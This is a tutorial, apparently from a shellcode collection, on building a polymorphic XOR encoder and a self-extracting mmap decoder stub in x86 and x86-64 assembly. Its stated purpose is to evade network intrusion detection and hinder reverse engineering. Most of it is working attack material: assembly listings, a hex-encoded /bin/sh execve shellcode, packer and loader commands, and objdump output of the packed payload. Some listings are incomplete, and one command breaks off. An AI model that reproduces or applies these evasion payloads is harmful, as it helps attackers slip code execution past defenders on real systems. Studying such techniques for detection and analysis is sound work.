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Polymorphic and other self-modifying (such as self-extracting) shellcode can be used to obfuscate or help prevent the reverse engineering of the shellcode. Additionally, it can help to prevent signature-based shellcode recognition on the network layer by NIDS or NIPS systems. The example in this article is based on shellcode loaders (sources).

The code and ideas discussed here are part of an all-encompassing shellcode portal. Everything described here and the full source of any given code is available in the appendix, as well as in the downloadable shellcodecs package.

The encoder

An XOR encoding will be used for this, but the method could easily be expanded. There are hundreds of encoding, encryption, and compression algorithms that could be implemented such as xor, inc, dec, add, sub, imul, idiv and any other function that can be reversed to its original state, this is just a small example. For this encoder, each byte will be XOR'd with 0x3 and moved back into the buffer in a loop. This binary can be written to file or piped to hexdump or ndisasm for further analysis.

64 bit

    cmpb %dil, (%rbx, %rsi, 1)
    je write
    xor $0x3, (%rbx, %rsi, 1)
    inc %rsi
    jmp count_chars                 #counts characters and xor encodes them
    mov $0x1, %rax
    mov $0x1, %rdi
    mov %rsi, %rdx
    mov %rbx, %rsi

In this 64 bit snippet of the encoder (source), the length of the shellcode (passed as a command line argument) is counted. The lowest byte of the %rdi register which is zero is compared to the first character of the argument stored in %rbx. If the tested byte is equal to zero the code jumps to the write label to print the encoded output. If the byte is not equal it is XOR'd with 0x3 (note that 0x3 was chosen because the shellcode used does not contain this byte, this will need be to be changed if the shellcode does contain 0x3) and the counter in %rsi is incremented and the code jumps back to the counter label. The reason the length must be counted is the write syscall needs to know the number of bytes to print off the stack so instead of looping once to count the characters and looping again to encode them the two processes are combined for efficiency.

32 bit

        cmpb %dl, (%ecx, %ebx, 1)
        je write
        xor $0x3, (%ecx, %ebx, 1)
        inc %ebx
        jmp count_chars                 #counts characters and xor encodes them
        push $4
        pop %eax
        mov %ebx, %edx
        push $2
        pop %ebx
        int $0x80

The difference between the 64 bit and 32 bit code is subtle. The main difference is that %dil does not exist in 32 bit code and thus %edx is used in place of %rdi. Another difference is the write label. It uses the 32 bit C calling convention for write instead of the 64 bit calling convention.

The unpacker

Next, an unpacker is necessary, this will be essentially the same as the loader code with some changes.

First, the shellcode must be read from the stack instead of as command line arguments. To do this, a getpc function needs to be implemented to retrieve the current instruction pointer so the shellcode can be found on the stack. When calling forwards, null bytes are added as operands to the call instruction unless call short is explicitly defined but ultimately it is always best to call backwards for multiple reasons (including the call stack). So, the code starts with a "jmp start" instruction.

jmp start

Getpc is called and the address of the next instruction is returned in %eax or %rbx based on architecture, then the number of bytes in the rest of the decoder code is added to this address; this gets the absolute address of the encoded shellcode on the stack. To find the decoder offset the decoder must be completed and then run through objdump. From there take the address immediately after the getpc call and subtract it from the last address of the decoder (remember to add some bytes to the last address for the instructions on that line).

For example:

0804807b <start>:
 804807b:       e8 f7 ff ff ff          call   8048077 <getpc>
 8048080:       89 c2                   mov    %eax,%edx
 8048082:       83 c2 2a                add    $0x2a,%edx
 #shortened for easier reading
 80480a8:       cd 80                   int    $0x80

The address that would be returned from the getpc call would be 8048080 and the last address in the application is 80480a8 so add two bytes to that since there is a 2 byte instruction on that line. The real end address of the decoder in this example would be 80480aa. From there take the returned address and the ending address and substract them to determine the offset to add. In this case the offset to add would be 0xAA - 0x80 which is 0x2A.

    call getpc
    add $0x31,%rbx # add the length of the rest of the decoder to the instruction pointer to get the address of the encoded payload

Next, the address of the shellcode is pushed onto the stack and the "inject" function is called.

    push %rbx # push address of shellcode
    call inject

The call instruction pushes the address of the next instruction (where the program is supposed to return to) onto the stack and then jumps to the function, in this case that address will be the exit function. The return address (the address of exit) is then popped off of the stack. The return address is then popped from the stack to change the return address to the decoded shellcode.

    pop %rdi # pop the return address (to exit)

Then the copying loop is initialized:

    xor %rsi, %rsi # zero out counter
    push %rsi
    pop %rdi    

First, make sure that the encoded shellcode has not ended (the shellcode in this example is 0x20 terminated, choose a byte that is not used in the shellcode if 0x20 is in use).

    cmpb $0x20, (%rax, %rsi, 1)
    je inject_finished

If not, decode a single byte by XOR'ing it against the encode-byte:

    movb (%rax, %rsi, 1), %r10b 
    xor $0x3, %r10b

Then the XOR'd byte is then copied back into the shellcode:

    movb %r10b, (%rax, %rsi, 1)

Now the counter is increment and the code jumps to the beginning of inject_loop:

    inc %rsi
    jmp inject_loop

After the loop is completed, the ret opcode (0xc3) is appended to the decoded shellcode.

    inc %rsi 
    movb $0xc3, (%rax, %rsi, 1) # append 0xc3 (the ret opcode)

Next, a call stack is formed by pushing the original return address (the address of exit that was popped off the stack at the beginning of this function), and then the address of the shellcode and return. Because the address of the shellcode has replaced the address of exit on the stack, the program will return into the shellcode, which will in turn return into the exit function, exiting cleanly.

    push %rdi                   # push original return address onto stack
    push %rax                   # push address of shellcode to stack
    ret                         # return into shellcode

When the shellcode finishes, it will execute the appended "ret" instruction (0xc3) and return into exit.

The complete decoder is:


Self-extracting code

Self-extracting shellcode can extract itself onto executable memory, to do this mmap() will be used as detailed in this section. The same shellcode as before will be expanded but with some changes. In the start function mmap() will be called and the returned pointer saved in %rax. This address is then pushed onto the stack before the address to the shellcode and inject is then called. The address is then popped %rcx and inside the inject_loop the XOR'd byte is copied into the mmap()'d memory instead of back into the shellcode. Finally, the mmap()'d memory is returned to instead of the encoded shellcode on the stack. The completed code:

    cmpb $0x20, (%rax, %rsi, 1)
    je inject_finished
    movb (%rax, %rsi, 1), %r10b
    xor $0x3, %r10b
    movb %r10b, (%rcx, %rsi, 1)
    inc %rsi
    jmp inject_loop
    inc %rsi 
    movb $0xc3, (%rcx, %rsi, 1)
    push %rdi
    push %rcx

Tying it together

To use this shellcode, the payload should look like:

 [decoder shellcode][encoded payload][0x20]

A usage example:

 ╭─[email protected] ~  
 ╰─➤    ./packer "$(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58
 \x0f\x05");" |hexdump -C |sed 's/^[0-9a-f]........//g' |sed 's/|.*|$//g' |sed 's/  / /g' |sed 's/ /\\x/g' |sed 's/\\x\\x//g' |sed 's/\\x$//g' |grep x |awk '{printf("%s ", $0)}' |sed 's/ //g'
  1. Add "\x20" to the end of the newly encoded shellcode as a terminator.
  2. Append the newly terminated shellcode to the decoder shellcode.
  3. Test the polymorphic code:
 ╭─[email protected] ~  
 ╰─➤  ./loader "$(echo -en 
 [[email protected] ~]$ exit
 ╭─[email protected] ~  

When the 34 byte /bin/sh shellcode is encoded and disassembled, it looks like:

╭─[email protected] ~  
╰─➤  ./packer "$(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58 
\x0f\x05");" > shellcode; objdump -b binary -m i386 -M x86-64 -D shellcode 
shellcode:     file format binary
Disassembly of section .data:
00000000 <.data>:
  0:	4b 32 fc             	rex.WXB xor %r12b,%dil
  3:	69 6a 5b 0c 06 54 54 	imul   $0x5454060c,0x5b(%rdx),%ebp
  a:	5d                   	pop    %rbp
  b:	59                   	pop    %rcx
  c:	4b bc 69 2c 61 6a 6d 	rex.WXB movabs $0x6b702c6d6a612c69,%r12
  13:	2c 70 6b 
  16:	4b c2 ec 0b          	rex.WXB retq $0xbec
  1a:	54                   	push   %rsp
  1b:	57                   	push   %rdi
  1c:	5c                   	pop    %rsp
  1d:	69 38 5b 0c 06 38    	imul   $0x38060c5b,(%rax),%edi
╭─[email protected] ~  

This doesn't look anything like an execve() routine. If the entire payload is disassembled:

╭─[email protected] ~  
╰─➤  echo -en  "\xeb\x2e\x5f\x58\x59\x48\x31\xf6\x56\x5f\x80\x3c\x30\x20\x74\x11\x44\x8a\x14\x30\x41\x80\xf2\x03\x44\x88\x14\x31\x48\xff\xc6\xeb\xe9\x48\xff\xc6
\x69\x2c\x61\x6a\x6d\x2c\x70\x6b\x4b\xc2\xec\x0b\x54\x57\x5c\x69\x38\x5b\x0c\x06\x20" > shellcode; objdump -b binary -m i386 -M x86-64 -D shellcode
shellcode:     file format binary
Disassembly of section .data:
00000000 <.data>:
   0:	eb 2e                	jmp    0x30
   2:	5f                   	pop    %rdi
   3:	58                   	pop    %rax
   4:	59                   	pop    %rcx
   5:	48 31 f6             	xor    %rsi,%rsi
   8:	56                   	push   %rsi
   9:	5f                   	pop    %rdi
   a:	80 3c 30 20          	cmpb   $0x20,(%rax,%rsi,1)
   e:	74 11                	je     0x21
  10:	44 8a 14 30          	mov    (%rax,%rsi,1),%r10b
  14:	41 80 f2 03          	xor    $0x3,%r10b
  18:	44 88 14 31          	mov    %r10b,(%rcx,%rsi,1)
  1c:	48 ff c6             	inc    %rsi
  1f:	eb e9                	jmp    0xa
  21:	48 ff c6             	inc    %rsi
  24:	c6 04 31 c3          	movb   $0xc3,(%rcx,%rsi,1)
  28:	57                   	push   %rdi
  29:	51                   	push   %rcx
  2a:	c3                   	retq   
  2b:	48 8b 1c 24          	mov    (%rsp),%rbx
  2f:	c3                   	retq   
  30:	e8 f6 ff ff ff       	callq  0x2b
  35:	48 83 c3 31          	add    $0x31,%rbx
  39:	6a 09                	pushq  $0x9
  3b:	58                   	pop    %rax
  3c:	48 31 ff             	xor    %rdi,%rdi
  3f:	57                   	push   %rdi
  40:	5e                   	pop    %rsi
  41:	48 ff c6             	inc    %rsi
  44:	48 c1 e6 12          	shl    $0x12,%rsi
  48:	6a 07                	pushq  $0x7
  4a:	5a                   	pop    %rdx
  4b:	6a 22                	pushq  $0x22
  4d:	41 5a                	pop    %r10
  4f:	57                   	push   %rdi
  50:	57                   	push   %rdi
  51:	41 58                	pop    %r8
  53:	41 59                	pop    %r9
  55:	0f 05                	syscall 
  57:	50                   	push   %rax
  58:	53                   	push   %rbx
  59:	e8 a4 ff ff ff       	callq  0x2
  5e:	6a 3c                	pushq  $0x3c
  60:	58                   	pop    %rax
  61:	48 31 ff             	xor    %rdi,%rdi
  64:	0f 05                	syscall 
  66:	4b 32 fc             	rex.WXB xor %r12b,%dil
  69:	69 6a 5b 0c 06 54 54 	imul   $0x5454060c,0x5b(%rdx),%ebp
  70:	5d                   	pop    %rbp
  71:	59                   	pop    %rcx
  72:	4b bc 69 2c 61 6a 6d 	rex.WXB movabs $0x6b702c6d6a612c69,%r12
  79:	2c 70 6b 
  7c:	4b c2 ec 0b          	rex.WXB retq $0xbec
  80:	54                   	push   %rsp
  81:	57                   	push   %rdi
  82:	5c                   	pop    %rsp
  83:	69 38 5b 0c 06 20    	imul   $0x20060c5b,(%rax),%edi